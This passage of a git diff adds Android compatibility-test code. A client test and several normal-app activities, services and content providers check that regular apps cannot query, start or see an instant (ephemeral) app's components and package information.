+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.test.InstrumentationTestCase;
+import android.util.Log;
+
+import com.android.cts.util.TestResult;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.concurrent.SynchronousQueue;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class ClientTest {
+    /** Action to start normal test activities */
+    private static final String ACTION_START_NORMAL_ACTIVITY =
+            "com.android.cts.ephemeraltest.START_NORMAL";
+    /** Action to start normal, exposed test activities */
+    private static final String ACTION_START_EXPOSED_ACTIVITY =
+            "com.android.cts.ephemeraltest.START_EXPOSED";
+    /** Action to start ephemeral test activities */
+    private static final String ACTION_START_EPHEMERAL_ACTIVITY =
+            "com.android.cts.ephemeraltest.START_EPHEMERAL";
+    /** Action to query for test activities */
+    private static final String ACTION_QUERY =
+            "com.android.cts.ephemeraltest.QUERY";
+    private static final String EXTRA_ACTIVITY_NAME =
+            "com.android.cts.ephemeraltest.EXTRA_ACTIVITY_NAME";
+    private static final String EXTRA_ACTIVITY_RESULT =
+            "com.android.cts.ephemeraltest.EXTRA_ACTIVITY_RESULT";
+
+    private BroadcastReceiver mReceiver;
+    private final SynchronousQueue<TestResult> mResultQueue = new SynchronousQueue<>();
+
+    @Before
+    public void setUp() throws Exception {
+        final IntentFilter filter =
+                new IntentFilter("com.android.cts.ephemeraltest.START_ACTIVITY");
+        filter.addCategory(Intent.CATEGORY_DEFAULT);
+        mReceiver = new ActivityBroadcastReceiver(mResultQueue);
+        InstrumentationRegistry.getContext()
+                .registerReceiver(mReceiver, filter, Context.RECEIVER_VISIBLE_TO_INSTANT_APPS);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        InstrumentationRegistry.getContext().unregisterReceiver(mReceiver);
+    }
+
+    @Test
+    public void testQuery() throws Exception {
+        // query activities without flags
+        {
+            final Intent queryIntent = new Intent(ACTION_QUERY);
+            final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
+                    .getPackageManager().queryIntentActivities(queryIntent, 0 /*flags*/);
+            if (resolveInfo == null || resolveInfo.size() == 0) {
+                fail("didn't resolve any intents");
+            }
+            assertThat(resolveInfo.size(), is(2));
+            assertThat(resolveInfo.get(0).activityInfo.packageName,
+                    is("com.android.cts.normalapp"));
+            assertThat(resolveInfo.get(0).activityInfo.name,
+                    is("com.android.cts.normalapp.ExposedActivity"));
+            assertThat(resolveInfo.get(0).isInstantAppAvailable,
+                    is(false));
+            assertThat(resolveInfo.get(1).activityInfo.packageName,
+                    is("com.android.cts.normalapp"));
+            assertThat(resolveInfo.get(1).activityInfo.name,
+                    is("com.android.cts.normalapp.NormalActivity"));
+            assertThat(resolveInfo.get(1).isInstantAppAvailable,
+                    is(false));
+        }
+
+        // query activities asking for ephemeral apps [we should only get normal apps]
+        {
+            final Intent queryIntent = new Intent(ACTION_QUERY);
+            final int MATCH_EPHEMERAL = 0x00800000;
+
+            final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
+                    .getPackageManager().queryIntentActivities(queryIntent, MATCH_EPHEMERAL);
+            if (resolveInfo == null || resolveInfo.size() == 0) {
+                fail("didn't resolve any intents");
+            }
+            assertThat(resolveInfo.size(), is(2));
+            assertThat(resolveInfo.get(0).activityInfo.packageName,
+                    is("com.android.cts.normalapp"));
+            assertThat(resolveInfo.get(0).activityInfo.name,
+                    is("com.android.cts.normalapp.ExposedActivity"));
+            assertThat(resolveInfo.get(0).isInstantAppAvailable,
+                    is(false));
+            assertThat(resolveInfo.get(1).activityInfo.packageName,
+                    is("com.android.cts.normalapp"));
+            assertThat(resolveInfo.get(1).activityInfo.name,
+                    is("com.android.cts.normalapp.NormalActivity"));
+            assertThat(resolveInfo.get(1).isInstantAppAvailable,
+                    is(false));
+        }
+
+        // query activities; directed package
+        {
+            final Intent queryIntent = new Intent(ACTION_QUERY);
+            queryIntent.setPackage("com.android.cts.ephemeralapp1");
+            final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
+                    .getPackageManager().queryIntentActivities(queryIntent, 0 /*flags*/);
+            assertThat(resolveInfo.size(), is(0));
+        }
+
+        // query activities; directed component
+        {
+            final Intent queryIntent = new Intent(ACTION_QUERY);
+            queryIntent.setComponent(
+                    new ComponentName("com.android.cts.ephemeralapp1",
+                            "com.android.cts.ephemeralapp1.EphemeralActivity"));
+            final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
+                    .getPackageManager().queryIntentActivities(queryIntent, 0 /*flags*/);
+            assertThat(resolveInfo.size(), is(0));
+        }
+
+        // query services without flags
+        {
+            final Intent queryIntent = new Intent(ACTION_QUERY);
+            final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
+                    .getPackageManager().queryIntentServices(queryIntent, 0 /*flags*/);
+            if (resolveInfo == null || resolveInfo.size() == 0) {
+                fail("didn't resolve any intents");
+            }
+            assertThat(resolveInfo.size(), is(2));
+            assertThat(resolveInfo.get(0).serviceInfo.packageName,
+                    is("com.android.cts.normalapp"));
+            assertThat(resolveInfo.get(0).serviceInfo.name,
+                    is("com.android.cts.normalapp.ExposedService"));
+            assertThat(resolveInfo.get(0).isInstantAppAvailable,
+                    is(false));
+            assertThat(resolveInfo.get(1).serviceInfo.packageName,
+                    is("com.android.cts.normalapp"));
+            assertThat(resolveInfo.get(1).serviceInfo.name,
+                    is("com.android.cts.normalapp.NormalService"));
+            assertThat(resolveInfo.get(1).isInstantAppAvailable,
+                    is(false));
+        }
+
+        // query services asking for ephemeral apps [we should only get normal apps]
+        {
+            final Intent queryIntent = new Intent(ACTION_QUERY);
+            final int MATCH_EPHEMERAL = 0x00800000;
+
+            final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
+                    .getPackageManager().queryIntentServices(queryIntent, MATCH_EPHEMERAL);
+            if (resolveInfo == null || resolveInfo.size() == 0) {
+                fail("didn't resolve any intents");
+            }
+            assertThat(resolveInfo.size(), is(2));
+            assertThat(resolveInfo.get(0).serviceInfo.packageName,
+                    is("com.android.cts.normalapp"));
+            assertThat(resolveInfo.get(0).serviceInfo.name,
+                    is("com.android.cts.normalapp.ExposedService"));
+            assertThat(resolveInfo.get(0).isInstantAppAvailable,
+                    is(false));
+            assertThat(resolveInfo.get(1).serviceInfo.packageName,
+                    is("com.android.cts.normalapp"));
+            assertThat(resolveInfo.get(1).serviceInfo.name,
+                    is("com.android.cts.normalapp.NormalService"));
+            assertThat(resolveInfo.get(1).isInstantAppAvailable,
+                    is(false));
+        }
+
+        // query services; directed package
+        {
+            final Intent queryIntent = new Intent(ACTION_QUERY);
+            queryIntent.setPackage("com.android.cts.ephemeralapp1");
+            final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
+                    .getPackageManager().queryIntentServices(queryIntent, 0 /*flags*/);
+            assertThat(resolveInfo.size(), is(0));
+        }
+
+        // query services; directed component
+        {
+            final Intent queryIntent = new Intent(ACTION_QUERY);
+            queryIntent.setComponent(
+                    new ComponentName("com.android.cts.ephemeralapp1",
+                            "com.android.cts.ephemeralapp1.EphemeralService"));
+            final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
+                    .getPackageManager().queryIntentServices(queryIntent, 0 /*flags*/);
+            assertThat(resolveInfo.size(), is(0));
+        }
+
+        // query content providers without flags
+        {
+            final Intent queryIntent = new Intent(ACTION_QUERY);
+            final List<ResolveInfo> resolveInfo = InstrumentationRegistry
+                    .getContext().getPackageManager().queryIntentContentProviders(
+                            queryIntent, 0 /*flags*/);
+            if (resolveInfo == null || resolveInfo.size() == 0) {
+                fail("didn't resolve any intents");
+            }
+            assertThat(resolveInfo.size(), is(2));
+            assertThat(resolveInfo.get(0).providerInfo.packageName,
+                    is("com.android.cts.normalapp"));
+            assertThat(resolveInfo.get(0).providerInfo.name,
+                    is("com.android.cts.normalapp.ExposedProvider"));
+            assertThat(resolveInfo.get(1).providerInfo.packageName,
+                    is("com.android.cts.normalapp"));
+            assertThat(resolveInfo.get(1).providerInfo.name,
+                    is("com.android.cts.normalapp.NormalProvider"));
+            assertThat(resolveInfo.get(1).isInstantAppAvailable,
+                    is(false));
+        }
+
+        // query content providers asking for ephemeral apps [we should only get normal apps]
+        {
+            final Intent queryIntent = new Intent(ACTION_QUERY);
+            final int MATCH_EPHEMERAL = 0x00800000;
+
+            final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
+                    .getPackageManager().queryIntentContentProviders(
+                            queryIntent, MATCH_EPHEMERAL);
+            if (resolveInfo == null || resolveInfo.size() == 0) {
+                fail("didn't resolve any intents");
+            }
+            assertThat(resolveInfo.size(), is(2));
+            assertThat(resolveInfo.get(0).providerInfo.packageName,
+                    is("com.android.cts.normalapp"));
+            assertThat(resolveInfo.get(0).providerInfo.name,
+                    is("com.android.cts.normalapp.ExposedProvider"));
+            assertThat(resolveInfo.get(1).providerInfo.packageName,
+                    is("com.android.cts.normalapp"));
+            assertThat(resolveInfo.get(1).providerInfo.name,
+                    is("com.android.cts.normalapp.NormalProvider"));
+            assertThat(resolveInfo.get(1).isInstantAppAvailable,
+                    is(false));
+        }
+
+        // query content providers; directed package
+        {
+            final Intent queryIntent = new Intent(ACTION_QUERY);
+            queryIntent.setPackage("com.android.cts.ephemeralapp1");
+            final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
+                    .getPackageManager().queryIntentContentProviders(queryIntent, 0 /*flags*/);
+            assertThat(resolveInfo.size(), is(0));
+        }
+
+        // query content providers; directed component
+        {
+            final Intent queryIntent = new Intent(ACTION_QUERY);
+            queryIntent.setComponent(
+                    new ComponentName("com.android.cts.ephemeralapp1",
+                            "com.android.cts.ephemeralapp1.EphemeralProvider"));
+            final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
+                    .getPackageManager().queryIntentContentProviders(queryIntent, 0 /*flags*/);
+            assertThat(resolveInfo.size(), is(0));
+        }
+    }
+
+    @Test
+    public void testStartNormal() throws Exception {
+        // start the normal activity
+        {
+            final Intent startNormalIntent = new Intent(ACTION_START_NORMAL_ACTIVITY);
+            InstrumentationRegistry.getContext().startActivity(startNormalIntent, null /*options*/);
+            final TestResult testResult = getResult();
+            assertThat(testResult.getPackageName(),
+                    is("com.android.cts.normalapp"));
+            assertThat(testResult.getComponentName(),
+                    is("NormalActivity"));
+            assertThat(testResult.getException(),
+                    is("android.content.pm.PackageManager$NameNotFoundException"));
+        }
+
+        // start the normal activity; directed package
+        {
+            final Intent startNormalIntent = new Intent(ACTION_START_NORMAL_ACTIVITY);
+            startNormalIntent.setPackage("com.android.cts.normalapp");
+            InstrumentationRegistry.getContext().startActivity(startNormalIntent, null /*options*/);
+            final TestResult testResult = getResult();
+            assertThat(testResult.getPackageName(),
+                    is("com.android.cts.normalapp"));
+            assertThat(testResult.getComponentName(),
+                    is("NormalActivity"));
+            assertThat(testResult.getException(),
+                    is("android.content.pm.PackageManager$NameNotFoundException"));
+        }
+
+        // start the normal activity; directed component
+        {
+            final Intent startNormalIntent = new Intent(ACTION_START_NORMAL_ACTIVITY);
+            startNormalIntent.setComponent(new ComponentName(
+                    "com.android.cts.normalapp", "com.android.cts.normalapp.NormalActivity"));
+            InstrumentationRegistry.getContext().startActivity(startNormalIntent, null /*options*/);
+            final TestResult testResult = getResult();
+            assertThat(testResult.getPackageName(),
+                    is("com.android.cts.normalapp"));
+            assertThat(testResult.getComponentName(),
+                    is("NormalActivity"));
+            assertThat(testResult.getException(),
+                    is("android.content.pm.PackageManager$NameNotFoundException"));
+        }
+
+        // connect to the normal provider
+        {
+            final String provider = "content://com.android.cts.normalapp.provider/table";
+            final Cursor testCursor = InstrumentationRegistry
+                    .getContext().getContentResolver().query(
+                            Uri.parse(provider),
+                            null /*projection*/,
+                            null /*selection*/,
+                            null /*selectionArgs*/,
+                            null /*sortOrder*/);
+            assertThat(testCursor, is(notNullValue()));
+            assertThat(testCursor.getCount(), is(1));
+            assertThat(testCursor.getColumnCount(), is(2));
+            assertThat(testCursor.moveToFirst(), is(true));
+            assertThat(testCursor.getInt(0), is(1));
+            assertThat(testCursor.getString(1), is("NormalProvider"));
+        }
+    }
+
+    @Test
+    public void testStartEphemeral() throws Exception {
+        // start the ephemeral activity
+        try {
+            final Intent startEphemeralIntent = new Intent(ACTION_START_EPHEMERAL_ACTIVITY);
+            InstrumentationRegistry.getContext().startActivity(
+                    startEphemeralIntent, null /*options*/);
+            final TestResult testResult = getResult();
+            fail();
+        } catch (ActivityNotFoundException expected) {
+        }
+
+        // start the ephemeral activity; directed package
+        try {
+            final Intent startEphemeralIntent = new Intent(ACTION_START_EPHEMERAL_ACTIVITY);
+            startEphemeralIntent.setPackage("com.android.cts.ephemeralapp1");
+            InstrumentationRegistry.getContext().startActivity(
+                    startEphemeralIntent, null /*options*/);
+            final TestResult testResult = getResult();
+            fail();
+        } catch (ActivityNotFoundException expected) {
+        }
+
+        // start the ephemeral activity; directed component
+        try {
+            final Intent startEphemeralIntent = new Intent(ACTION_START_EPHEMERAL_ACTIVITY);
+            startEphemeralIntent.setComponent(
+                    new ComponentName("com.android.cts.ephemeralapp1",
+                            "com.android.cts.ephemeralapp1.EphemeralActivity"));
+            InstrumentationRegistry.getContext().startActivity(
+                    startEphemeralIntent, null /*options*/);
+            final TestResult testResult = getResult();
+            fail();
+        } catch (ActivityNotFoundException expected) {
+        }
+
+        // start the ephemeral activity; using VIEW/BROWSABLE
+        {
+            final Intent startViewIntent = new Intent(Intent.ACTION_VIEW);
+            startViewIntent.addCategory(Intent.CATEGORY_BROWSABLE);
+            startViewIntent.setData(Uri.parse("https://cts.google.com/ephemeral"));
+            InstrumentationRegistry.getContext().startActivity(
+                    startViewIntent, null /*options*/);
+            final TestResult testResult = getResult();
+            assertThat("com.android.cts.ephemeralapp1", is(testResult.getPackageName()));
+            assertThat("EphemeralActivity", is(testResult.getComponentName()));
+        }
+
+        // connect to the instant app provider
+        {
+            final String provider = "content://com.android.cts.ephemeralapp1.provider/table";
+            final Cursor testCursor = InstrumentationRegistry
+                    .getContext().getContentResolver().query(
+                            Uri.parse(provider),
+                            null /*projection*/,
+                            null /*selection*/,
+                            null /*selectionArgs*/,
+                            null /*sortOrder*/);
+            assertThat(testCursor, is(nullValue()));
+        }
+    }
+
+    private TestResult getResult() {
+        final TestResult result;
+        try {
+            result = mResultQueue.poll(5, TimeUnit.SECONDS);
+        } catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+        if (result == null) {
+            throw new IllegalStateException("Activity didn't receive a Result in 5 seconds");
+        }
+        return result;
+    }
+
+    private static class ActivityBroadcastReceiver extends BroadcastReceiver {
+        private final SynchronousQueue<TestResult> mQueue;
+        public ActivityBroadcastReceiver(SynchronousQueue<TestResult> queue) {
+            mQueue = queue;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            try {
+                mQueue.offer(intent.getParcelableExtra(TestResult.EXTRA_TEST_RESULT),
+                        5, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ExposedActivity.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ExposedActivity.java
new file mode 100644
index 0000000..4efb375
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ExposedActivity.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.normalapp;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.content.pm.ResolveInfo;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.net.Uri;
+import android.os.Bundle;
+import android.util.Log;
+
+import com.android.cts.util.TestResult;
+
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.util.List;
+
+public class ExposedActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        boolean canAccessInstantApp = false;
+        String exception = null;
+        try {
+            canAccessInstantApp = tryAccessingInstantApp();
+        } catch (Throwable t) {
+            exception = t.getClass().getName();
+        }
+
+        TestResult.getBuilder()
+                .setPackageName("com.android.cts.normalapp")
+                .setComponentName("ExposedActivity")
+                .setStatus("PASS")
+                .setException(exception)
+                .setEphemeralPackageInfoExposed(canAccessInstantApp)
+                .build()
+                .broadcast(this);
+        finish();
+    }
+
+    private boolean tryAccessingInstantApp() throws NameNotFoundException {
+        final PackageInfo info = getPackageManager()
+                .getPackageInfo("com.android.cts.ephemeralapp1", 0 /*flags*/);
+        return (info != null);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ExposedProvider.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ExposedProvider.java
new file mode 100644
index 0000000..99658d4
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ExposedProvider.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.normalapp;
+
+import android.content.ContentProvider;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.UriMatcher;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.database.CharArrayBuffer;
+import android.database.ContentObserver;
+import android.database.Cursor;
+import android.database.DataSetObserver;
+import android.database.MatrixCursor;
+import android.net.Uri;
+import android.os.Bundle;
+
+import com.android.cts.util.TestResult;
+
+public class ExposedProvider extends ContentProvider {
+    private static final UriMatcher sUriMatcher = new UriMatcher(UriMatcher.NO_MATCH);
+    static {
+        sUriMatcher.addURI("com.android.cts.normalapp.exposed.provider", "table", 1);
+    }
+    private static final String[] sColumnNames = { "_ID", "name" };
+    private static final MatrixCursor sCursor = new MatrixCursor(sColumnNames, 1);
+    static {
+        sCursor.newRow().add(1).add("ExposedProvider");
+    }
+
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        boolean canAccessInstantApp = false;
+        String exception = null;
+        try {
+            canAccessInstantApp = tryAccessingInstantApp();
+        } catch (Throwable t) {
+            exception = t.getClass().getName();
+        }
+
+        TestResult.getBuilder()
+                .setPackageName("com.android.cts.normalapp")
+                .setComponentName("ExposedProvider")
+                .setStatus("PASS")
+                .setException(exception)
+                .setEphemeralPackageInfoExposed(canAccessInstantApp)
+                .build()
+                .broadcast(getContext());
+
+        return (sUriMatcher.match(uri) != 1) ? null : sCursor;
+    }
+
+    private boolean tryAccessingInstantApp() throws NameNotFoundException {
+        final PackageInfo info = getContext().getPackageManager()
+                .getPackageInfo("com.android.cts.ephemeralapp1", 0 /*flags*/);
+        return (info != null);
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        return null;
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        return 0;
+    }
+
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ExposedService.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ExposedService.java
new file mode 100644
index 0000000..2988d03
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ExposedService.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.normalapp;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.os.Binder;
+import android.os.IBinder;
+
+import com.android.cts.util.TestResult;
+
+public class ExposedService extends Service {
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        boolean canAccessInstantApp = false;
+        String exception = null;
+        try {
+            canAccessInstantApp = tryAccessingInstantApp();
+        } catch (Throwable t) {
+            exception = t.getClass().getName();
+        }
+        TestResult.getBuilder()
+                .setPackageName("com.android.cts.normalapp")
+                .setComponentName("ExposedService")
+                .setMethodName("onBind")
+                .setStatus("PASS")
+                .setException(exception)
+                .setEphemeralPackageInfoExposed(canAccessInstantApp)
+                .build()
+                .broadcast(this);
+        return new Binder();
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        boolean canAccessInstantApp = false;
+        String exception = null;
+        try {
+            canAccessInstantApp = tryAccessingInstantApp();
+        } catch (Throwable t) {
+            exception = t.getClass().getName();
+        }
+        TestResult.getBuilder()
+                .setPackageName("com.android.cts.normalapp")
+                .setComponentName("ExposedService")
+                .setMethodName("onStartCommand")
+                .setStatus("PASS")
+                .setException(exception)
+                .setEphemeralPackageInfoExposed(canAccessInstantApp)
+                .build()
+                .broadcast(this);
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    private boolean tryAccessingInstantApp() throws NameNotFoundException {
+        final PackageInfo info = getPackageManager()
+                .getPackageInfo("com.android.cts.ephemeralapp1", 0 /*flags*/);
+        return (info != null);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/NormalActivity.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/NormalActivity.java
new file mode 100644
index 0000000..338a1b4
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/NormalActivity.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.normalapp;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.ResolveInfo;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.net.Uri;
+import android.os.Bundle;
+import android.util.Log;
+
+import com.android.cts.util.TestResult;
+
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.util.List;
+
+public class NormalActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        boolean canAccessInstantApp = false;
+        String exception = null;
+        try {
+            canAccessInstantApp = tryAccessingInstantApp();
+        } catch (Throwable t) {
+            exception = t.getClass().getName();
+        }
+
+        TestResult.getBuilder()
+                .setPackageName("com.android.cts.normalapp")
+                .setComponentName("NormalActivity")
+                .setStatus("PASS")
+                .setException(exception)
+                .setEphemeralPackageInfoExposed(canAccessInstantApp)
+                .build()
+                .broadcast(this);
+        finish();
+    }
+
+    private boolean tryAccessingInstantApp() throws NameNotFoundException {
+        final PackageInfo info = getPackageManager()
+                .getPackageInfo("com.android.cts.ephemeralapp1", 0 /*flags*/);
+        return (info != null);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/NormalProvider.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/NormalProvider.java
new file mode 100644
index 0000000..8351a27
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/NormalProvider.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.normalapp;
+
+import android.content.ContentProvider;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.UriMatcher;
+import android.database.CharArrayBuffer;
+import android.database.ContentObserver;
+import android.database.Cursor;
+import android.database.DataSetObserver;
+import android.database.MatrixCursor;
+import android.net.Uri;
+import android.os.Bundle;
+
+public class NormalProvider extends ContentProvider {
+    private static final UriMatcher sUriMatcher = new UriMatcher(UriMatcher.NO_MATCH);
+    static {
+        sUriMatcher.addURI("com.android.cts.normalapp.provider", "table", 1);
+    }
+    private static final String[] sColumnNames = { "_ID", "name" };
+    private static final MatrixCursor sCursor = new MatrixCursor(sColumnNames, 1);
+    static {
+        sCursor.newRow().add(1).add("NormalProvider");
+    }
+
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        return (sUriMatcher.match(uri) != 1) ? null : sCursor;
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        return null;
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        return 0;
+    }
+
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/NormalService.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/NormalService.java
new file mode 100644
index 0000000..2e0f775
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/NormalService.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.normalapp;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.os.IBinder;
+
+import com.android.cts.util.TestResult;
+
+public class NormalService extends Service {
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        boolean canAccessInstantApp = false;
+        String exception = null;
+        try {
+            canAccessInstantApp = tryAccessingInstantApp();
+        } catch (Throwable t) {
+            exception = t.getClass().getName();
+        }
+
+        TestResult.getBuilder()
+                .setPackageName("com.android.cts.normalapp")
+                .setComponentName("NormalService")
+                .setStatus("PASS")
+                .setException(exception)
+                .setEphemeralPackageInfoExposed(canAccessInstantApp)
+                .build()
+                .broadcast(this);
+        stopSelf(startId);
+
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    private boolean tryAccessingInstantApp() throws NameNotFoundException {
+        final PackageInfo info = getPackageManager()
+                .getPackageInfo("com.android.cts.ephemeralapp1", 0 /*flags*/);
+        return (info != null);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/NormalWebActivity.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/NormalWebActivity.java
new file mode 100644
index 0000000..78250b4
--- /dev/null
